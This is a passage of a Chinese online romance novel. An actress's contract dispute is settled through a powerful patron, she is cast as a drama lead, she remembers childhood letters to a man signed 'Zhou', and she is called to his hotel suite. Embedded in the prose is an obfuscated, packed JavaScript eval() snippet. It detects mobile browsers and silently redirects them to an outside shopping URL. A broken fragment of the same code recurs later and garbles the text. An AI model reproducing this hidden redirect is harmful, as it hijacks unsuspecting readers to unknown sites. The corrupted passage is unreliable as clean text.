电视是超大屏的液晶显示屏,平时没人看,纯摆设,今天打开,调到央视,就看见韩庆文带着女儿韩慕乔的采访。 佳宜面色不变,静笙翻了翻眼睛,嘀咕一句“什么货色都能上春晚了。内娱要完啊。” 准姐夫看她们不喜欢这二位艺人,很有眼色地调了台。三人一起看了会儿海绵宝宝。 吃过晚饭,客人离开,佳宜需要静养,静笙就在自己房间里写论文。 八点一过,几个朋友发来贺岁消息。 娱乐圈这种地方,最开始可能会有点情谊,但更多的是为了各自的利益明哲保身——不拉踩一脚已经算友谊地久天长了。 静笙朋友向来不多,今年更是少之又少。她也不在意,一一回复。 但她还是很喜欢过节。因为可以收到很多红包。 就在刚刚,支付宝先后进账几万,都是追求过她的男生发的。 如果不看备注,静笙完全不记得他们是谁。 周绍晨也给她发了大红包,又给他发来烟花视频。 他在美国,和同是华人的同事过春晚。主要图个彩头。 最后问了她合同的事,让她再等等。 静笙犹豫要不要给那个人发送新年祝福,她搞不准他的心思,是希望看见她,还是不希望看见她。 还是决定,发。 好消息是:她已经被解除黑名单。 坏消息是:到了零点,周清蕴都没有回复。 假期过去了,他都没有回复。 静笙也不指望他会回,反倒是章秘书联络她:“需要您见一下律师。提供一些记录。” 他们效率很快,静笙当天就和几位西装革履的职场精英见面。签署委托书。 “我还需要做什么吗?”她问章秘书。 章秘书说:“不用。” “他……在哪里?” “周总的行程保密。”章秘书抱歉地笑。 静笙也只是一挑眉。 周清蕴不出面也有好处,她不用面对他,费心揣度他的心思。 乐得轻松。 当日下午,静笙意外收到了前经纪人杨磊的电话。 他先是亲切地给她拜年,问她最近忙不忙,有没有空见个面。 静笙正在往洗衣机里放凝珠,用三个字截断他的长篇大论,“说人话。” 杨磊呵呵两声:“静笙啊,之前事可能有些误会,您大人有大量原谅我们,我也是给人打工,经不起折腾。” 静笙回一句:“您说什么呢,我只是个小演员,不配原谅你们。再见。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482960|201855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>说完,她就把杨磊的手机号拉黑。 后来,又接到了浩川文娱的老板靳总的电话,客客气气地道歉,让她来公司签署解约协议。 静笙跟着律师去了,全程不说话,硕大的墨镜架在鼻梁上,无论对方如何赔笑请罪,她只负责冷脸签字。 浩川不仅撤诉,还被静笙这边的律师反诉,各种罪名一一详列,老板出了五千万和解金,这事才算完。 这个数字,完全不至于让浩川大伤元气,但足以令高层感到肉疼。 静笙不仅不用赔钱退圈,还入账一大笔资金。这是她没想到的。 同时,也为周清蕴的手段讶然。 心想,自己今后绝对不能得罪他,不然怎么死的都不知道。 走出写字楼正值下午,阳光最热烈的时候,温度让她皮肤发烫,全身心放松。 原对她趾高气扬,恨不得拿她当猪肉明码标价卖出去的人上人,也会在脸上表现出谨小慎微的一面。 畅快之后,她又感到些许茫然。 不过是傍上了更有权势的人,足以毁掉一个演员职业生涯的危机就这么轻而易举地被摆平了。 一块石体,可以被踩在脚下,也可以被雕刻成像,奉在神坛,全凭谁拥有它。 董菲儿年后看她各大平台账号恢复,发了九宫格照片,每张图都红气满满,漂漂亮亮,问她事情解决了?前男友手段可以。真是可惜了,干脆复合算啦。 静笙不敢说出周清蕴的名字,只说周绍晨人脉可以。 “复合不可能。他终究也要和别人结婚的。” ** 章秘书在微信上推给静笙两张名片。 一位是叫卉姐,是一名资深经纪人,三十多岁。 另一位是叫妙妙的助理,二十出头,但已经在娱乐圈工作三年。 卉姐负责对接静笙演艺工作,三人在周清蕴的那家会所见面。 两人面对她,自然没有杨磊那种挑剔的目光,只有友好和尊敬。静笙也乐于露出微笑。 静笙以为周清蕴会为她开个工作室之类的,但,他直接开了个公司。 其中,另一家可能由他持股的投资公司占大比例注册资本,卉姐虽然是她的经纪人,但也是公司高管。 公司不是凭空开起来的,而是卉姐本来就打算单干,正好被周清蕴选中,投资当她老板。 卉姐能力自然不弱,比起杨磊身上那种三教九流的气质,她更有种在职场打拼多年的精英感。 卉姐对静笙的条件都很满意,商量她的发展路线。问她的想法。 静笙先问:“他有跟你们提什么限制吗?” 卉姐欣赏脑袋灵光的人,她满意地点头,“没有。非要说的话,周先生还是希望你能赚钱或拿到奖项,当然,拿奖的最终目的也是为了赚钱。公司不能常年亏损。” 而不是钱砸下去连个响声都没有。 大家都要吃饭的。 静笙不了解周清蕴手里都有哪些公司,但能把那么大的集团管理好,一定不是只做慈善。连包养女艺人都要得到最基本的回馈,而不是养个废物。 静笙简单粗暴提供两个字:“想红。” 想爆红,想大把的现金入账。 卉姐先是一怔,随后笑了:“人之常情。” 不想红,也不会找男人当后台。 想红对艺人来说是好事。 卉姐直接在笔记本里找了几个IP。 从前连想都不敢想的IP和女主,像菜市场里的萝卜青菜一样任她挑选。 静笙翻看人物小传和大纲,定了一个古装偶像剧。 谨慎起见,卉姐问:“圈里有什么特别讨厌的艺人吗?” “目前最讨厌韩庆文父女俩。” 卉姐很专业,没问原因,如常地在会议记录上敲打键盘。 再然后,妙妙问了静笙生活上的一些注意事项,有无过敏,食物的偏好。 最后,妙妙帮她预约了明天的体检。 静笙问:“体检?” 妙妙抱歉地说:“是那位先生吩咐的。” 静笙恍然大悟,得要质检合格才可以朝见君上。 13. 第 13 章 静笙健康得很。 全身除了腹部右下方一道小小的牙印,没有别的疤痕。 那是小时候妈妈去世,她和姐姐被亲戚送进福利院当晚,她和同龄的小朋友打架时留下的痕迹。 仅仅因为她是新来的,同宿舍的室友便故意在通往上铺的铁梯上涂抹润滑油,导致她差点摔倒。抓到凶手是谁,静笙扑上去就要打架,那时她太瘦小,反被对方压制。但佳宜很快就扒开那女孩的脑袋,几拳头揍过去,引起一片混战,最后还是老师平息这场战争。 现在,她连对方的脸和叫什么名字都不太记得了。只偶尔想起曾经被这样对待过。 福利院的生活,离大多数人都很遥远。 但,其实不过是和集体住宿差不多。 有委屈的经历,也有快乐的时光。 除了每日做功课,静笙另一个放松的习惯就是写信。 十来岁那年,有慈善组织给她们这个小县城捐款,大大提升了物质条件。院长号召她们写感谢信。 小孩子们歪歪扭扭的字寄送出去,大多写了一两封就没继续,觉得无聊或没话可讲,只有静笙坚持了。 一开始只是在写日记,什么都写。没有任何逻辑的流水账。 上一句还在讲室友坏话,诅咒她泡面里没有调料包,下一句就描写教室外的桂花有多么香,好想在床边也种一棵。 十几封信投出去,就像往太空中抛入摇摇欲坠的纸飞机,没有接受到宇宙的任何外来信号。 她以为不会有人看,谁知,有一天收到了回信。 落款只有一个周字,那人似乎并不想告知全名,也并不打算深交,只不过看到了这封信,出于礼貌也好,出于兴趣也罢,回了寥寥半纸。 字迹清秀隽雅,像是书店里的字帖书示范,甚至分不清性别是男是女,在静笙询问称呼之后,他才说他是男性。 以后,她在信件的开头称呼他为“小周哥哥”。 天南地北,无话不谈。 每周一次的回信变成了每天一次,持续了整整三年。 后来,信件中断。俩人再也没联系过。 与此同时,静笙在16岁这年被姐姐接出福利院,这段无法归纳的感情也就埋在心里。 时至今日,那段时光像是爱丽丝梦游仙境里的兔子,钻进了另一个世界的洞里。 ** 体检完毕。 结果自然也全部绿灯。 静笙等来等去没等到周清蕴的召唤,反而先等来了开机的消息。 角色直接定下,连试镜都省了。只在定妆时见了导演一面。 卉姐给她定了一辆保姆车,全新白色埃尔法,里面的冰箱装有矿泉水,是她喜欢的冰凉温度。 静笙一边喝水,一边在看剧本背台词。比寻常的车都少了一些颠簸。 静笙下车,正和一个人对上视线。 贺淞林戴着鸭舌帽,看见是她,提唇笑笑。 他再看了眼她身后的保姆车,虽然不算特别豪横,但也大几十万,更别提专职司机,多了名助理。 几个月不见,一个名不见经传的小演员能从被剧组踹走,到眼前这个待遇,似乎不言自明。 但在圈里,这种情况见怪不怪了。 静笙在稍微怔忪后,放心一笑。 是熟人,而且不丑,演技过关。 偶像剧,男主演是谁至关重要。 静笙真的吃够了丑男的苦,此生绝不愿再受工伤。 至于他本人怎么看待自己,根本是无需在意的事。 围读剧本后,正是中午,贺淞林请大家吃饭。作为女主,静笙请大家喝奶茶。妙妙利索地询问每个演员和幕后的口味,在手机上下单。 “过年好,虽然年已经过了。” 贺淞林来到她身边,“和谈老师二搭,请多指教。” 贺淞林也给静笙发了新年祝福,但见面还是要亲口说一句。 静笙问:“你不是说要转型吗?” 贺淞林说:“转型也不急于一时。剧本这种东西看运气。” 静笙点头同意。 娱乐圈环境越来越差,本质是对编剧的不重视,剧本根基太烂,其他方面包装得如何华丽,都不过是徒有其表。 贺淞林告诉她,上次那个剧找了别的演员接替她,因为演得不好,经常被导演骂。偷偷哭了好几次,他们只能安慰。 静笙跟听上辈子的事似的。她真的很喜欢那个角色。 “听说,越叹气的人越倒霉。”贺淞林把玩着打火机。 静笙一怔,“我叹气了吗?” 没有叹气吧。 贺淞林挑眉笑说:“你的眼睛在叹气。” 静笙眨巴了下眼睛,“好,我不会再叹气了。” 她最近不能再倒霉了。 贺淞林和她笑笑,手里提着美式大步走了。 吃过饭,各自回了自己的车。 妙妙冒着星星眼说:“贺淞林好帅哦!” 静笙觉得也就还好吧,当然做偶像是够格的。可能是看了周清蕴那张脸,觉得其他人一般。 妙妙自爆是他粉丝,哪天冒充路人跟他要签名。 静笙奇怪道:“你现在就可以去要。” “不可以。我现在是您的助理,工作的时候不能做不专业的事。” “没那么多规矩。” “……真的吗?” 看她真的无所谓,妙妙雀跃起来,下次见面准备个签名本。 静笙查看手机,照例搜索自己的名字。 如今,她的名字早已解禁。巡逻广场时,能看到相关词条。 但多余的就没了。 毕竟是个十八线。 而就在刚刚,她看到自己出现在贺淞林的路透里。俩人有说有笑地聊天。俊男靓女,是有那么一点cp味儿。 贺淞林的粉丝比她多多了,有人问她是谁,有知情的路人@她的名字。 静笙只在乎自己的形象。 即便是偷拍,脸也没崩。 她较为满意。 一旦进组,无论是精神还是身体都很累。 刚回了家,她把自己洗得香喷喷的准备睡觉,迷迷糊糊的时候,手机轻微震动,章秘书发给她一个地址,说周总让她过去。 静笙一下子弹坐起来。 加班了。 ** 是一家五星级酒店。 进入顶层套房前,需要在门童那里登记姓名,得到允许方可进入。 酒店的地毯极软,像云端。把心跳声都能吸收似的。 进了门。又是不太一样的氛围。 四周静悄悄的,多了几样私人物品。看得出长时间居住。 书房的灯最亮。 周清蕴坐在桌前,单手支着下颌,垂眸看笔记本。神情不见一丝对工作的烦郁,稍许锐利,稍许深沉,还有点漫不经心。 如果不是和他接吻过,静笙很难想象这样的人会有七情六欲的一面。 这人不论是长相还是气场,都不像现实生活中的人,只有当他温和或讥讽时,才多了点烟火气。 他察觉到她进门,也知晓她走近,但并不急于应付她。 只先将手头的事做完。 静笙在门口踌躇片刻,便决定不打扰他,折身回客厅,摘掉风衣和丝巾,放在玄关的衣架处,同周清蕴的风衣并排。 三月份,天气转暖,不需要很臃肿。内里依旧是轻薄的布料。 她没化浓妆,猜测他喜欢清淡点的女孩,只在唇瓣上涂了西柚色口红,提亮,但又不那么艳丽。 周清蕴从书房出来,就看到女孩子端坐在沙发上,穿着正式又不那么正式的露肩连衣裙,不暴露,但腰两侧有镂空设计。 意外地,她没有玩手机,双手搭在膝盖,腰背挺得笔直,正襟危坐,目视前方。眼珠也没乱转,缓慢地眨着眼睫,似是思索接下来要发生的事。 竟颇有点大义凛然之感。 周清蕴抬步过去,她像被惊飞的白鸽,圆润的肩头一颤,继而缓慢回首,唇角惯常扬起弧度,“您忙完了?” 周清蕴不易察觉地微微蹙眉。随意地点头,去中岛台接水喝。 静笙慢一拍,才意识到,是不是应该她主动一些。 她立刻跟上,“周总……我来?” 周清蕴看她一眼,也就将杯子递给她。 静笙小心接过,从冰箱里拿出一瓶矿泉水,拧开盖子,涓涓清水流进杯子里。 再递过去,两个人似乎都有意没去碰到对方的手。 静笙心想,这不对啊。 自己是不是该勾引他?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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如此这般,她既能在周清蕴面前争取点好名声,又充盈了小金库。 她没预想他会直接收了卡。 五千万对他来说不是太大的金额,毕竟他是花千万买个瓷器送人都眼睛不眨的人物。 周清蕴扬扬夹在指间的卡:“后悔了?” 静笙转瞬之间立刻整理表情,连连摇头:“没有后悔一点,我说到做到。” 周清蕴将卡收进西裤口袋里,继续解领带。 闲聊到这里应该差不多。静笙鼓起勇气,拉住他领口松解的带子,踮起脚尖,刚要吻他的薄唇,眼看就要触到,他的脸轻轻一偏。 涂着彩色的唇瓣擦过对方的脸颊,只留下一抹口红印。配合他自始至终冷眼旁观的表情,多了些反差。 静笙怔忪少顷,疑惑地看着眼前的男人。 身高的原因,他垂眼看她时,有点睥睨的冷感。 静笙眼珠一转,伸手不打笑脸人,总之,先微笑。 周清蕴一瞥,点评说:“笑得真难看。” “……” 静笙不懂,她的笑容是照着镜子练习过的,怎么可能难看? 但,金主的命令大过天。 她也就照做,闷闷地收回唇角。 再次扬起下巴时,周清蕴抬手点了下她的额头,将两人之间拉开距离,“一点笑容都没有,不如去奔丧。” 静笙微抿唇角。 这也不行,那也不行。到底要怎样? “您给点提示?” “什么都要我提示,你很轻松啊。” 静笙纠结地想了会儿,“我去把灯关了?” 反正上次也是关灯做的。 她希望这事快点结束,也好解了她心头大患。 周清蕴却摇头说:“不关灯。” 静笙心想,他上次不是习惯关灯睡? 周清蕴像是能看透她所想,再说:“防贼。” 静笙呼吸一窒,无话可讲。 周清蕴觉得她吃瘪的表情比流水线做作的笑容生动多了,觉得她没那么碍眼了。 他绕到她身后,拿起手机,摘下手表。 静笙正要再接再厉,就听他说:“回去吧。我要休息了。” 静笙刚抬脚的动作缓缓收回,“啊,那……再见?” 他从容不迫地解衬衫扣子,“回去琢磨一下,演像一点。” “哦……好的。” 待她合上套房的门,属于她身上的香水味儿淡了不少。 周清蕴用手背抹了下脸颊刚被轻柔擦过的地方,上面残存一抹亮色。